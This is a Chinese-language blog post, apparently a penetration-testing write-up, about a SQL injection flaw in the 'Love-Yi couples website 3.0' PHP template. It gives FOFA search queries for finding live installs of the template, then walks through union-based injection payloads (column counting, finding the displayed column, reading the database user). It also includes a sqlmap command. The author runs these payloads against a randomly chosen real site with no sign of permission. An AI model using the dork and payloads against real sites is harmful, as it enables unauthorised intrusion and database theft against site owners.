目录
[1. 前言](#1. 前言)
[2. 网站简介](#2. 网站简介)
[3. 寻找特征点](#3. 寻找特征点)
[3.1 第一次尝试](#3.1 第一次尝试)
[3.2 第二次尝试](#3.2 第二次尝试)
[5.1 寻找漏洞点](#5.1 寻找漏洞点)
[5.2 进行进一步测试](#5.2 进行进一步测试)
[5.2.1 手动测试](#5.2.1 手动测试)
[5.2.2 sqlmap去跑](#5.2.2 sqlmap去跑)
1. 前言
朋友说自己建了一个情侣网站,看到这个网站很有趣,记得之前有看过这个网站的漏洞的文章,那就对网站进行测试一下吧,当然不能直接用好兄弟的网站来测啦,这种网站一般都是通用的网站,直接开始测试,最后也就只发现SQL注入漏洞,这种站可以测试的功能点太少了.
免责声明
博文中涉及的方法可能带有危害性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.
2. 网站简介
Love-Yi情侣网站3.0是一个基于php框架和爱情主题的表白网站。经个人修改和设计更加美观好看,适合哄女朋友开心。
3. 寻找特征点
首先在网站的底部发现Copyright © 2024 XX科技. All Rights Reserved.验证这是一个通用的建站,接下来就是从主页的代码中,找每个网站的公用特征了
3.1 第一次尝试
1.首先看到网站上面的ico,既然是通用那么图标总可以吧,结果fofa和鹰图全都失败🥲🥲🥲
3.2 第二次尝试
自己比较喜欢图标去找,尤其是特殊的图标,一找一个准,这不给我找到了😋😋😋
4.资产搜索
用fofa进行查询,因为搜索出的资产有很多,为了方便测试,随机进行挑选找了国内的一个站
第一次进行尝试时候的语法
bash
"Style/img/like.svg" && country="CN"
最终测试版
bash
"img/like.svg" && "2022" && country="CN"
结果又是一顿嘎嘎搞,发现站的功能点太少了唯一可能存在的漏洞就是有一个id参数,有可能存在SQL注入,于是开始进行测试,最终在测试时进行失败了,但是怎么能放弃呢,这个站应该有旧版本吧,最终在测试2022这个版本的时候发现了漏洞,于是语法又更新了.
5.漏洞复现
5.1 寻找漏洞点
首先找到点点滴滴下的文章,点击文章后,发现url处出现一个id,php的站最喜欢的就是id这个参数了,这不就有了吗
文章页面详情
直接在id后面尝试一个sql注入常用的单引号,发现页面闪了一个报错,然后消失了,没关系,F12查看页面源代码,发现sql注入的常见保存,漏洞+1.
bash
id=6'
5.2 进行进一步测试
既然发现存在漏洞,那我们进行进一步利用的话,需要,首先尝试php最常见的union注入,发现存在,然后通过二分法发现,在尝试4个字段的时候,页面没有内容,而5个字段的时候页面会出现内容,确定数据库字段为5个字段.
5.2.1 手动测试
1.寻找字段
4个字段,页面回显错误,发现没有任何的页面数据
bash
?id=6' union select 1,2,3,4 --+
尝试5个字段的时候,发现页面回显正常
bash
?id=6' union select 1,2,3,4,5 --+
2.寻找回显位
通常的方式就是给id赋值一个不存在的页面,查看回显的数字,我喜欢直接用-号来表示
bash
?id=-6' union select 1,2,3,4,5 --+
3.查询当前用户
发现回显的字段为2,代表数据库在2处会进行回显,直接查询角色,证明存在漏洞然后点到为止
bash
?id=-6' union select 1,user(),3,4,5 --+
5.2.2 sqlmap去跑
语法如下所示:
尽量不用sqlmap去跑,毕竟用工具测试的话请求过多不仅容易被发现,而且对于小站来说容易跑崩,我自己就不进行测试了.
bash
python sqlmap.py -u http://xxxxxxxxx/page.php?id=* --level=3
6.总结
本次测试也是对自己手法的一次测试,虽然没有进行绕过,但是还是对于信息收集的思路有了更进一步的提升,测试很有趣,休息的时候玩玩也不错,继续加油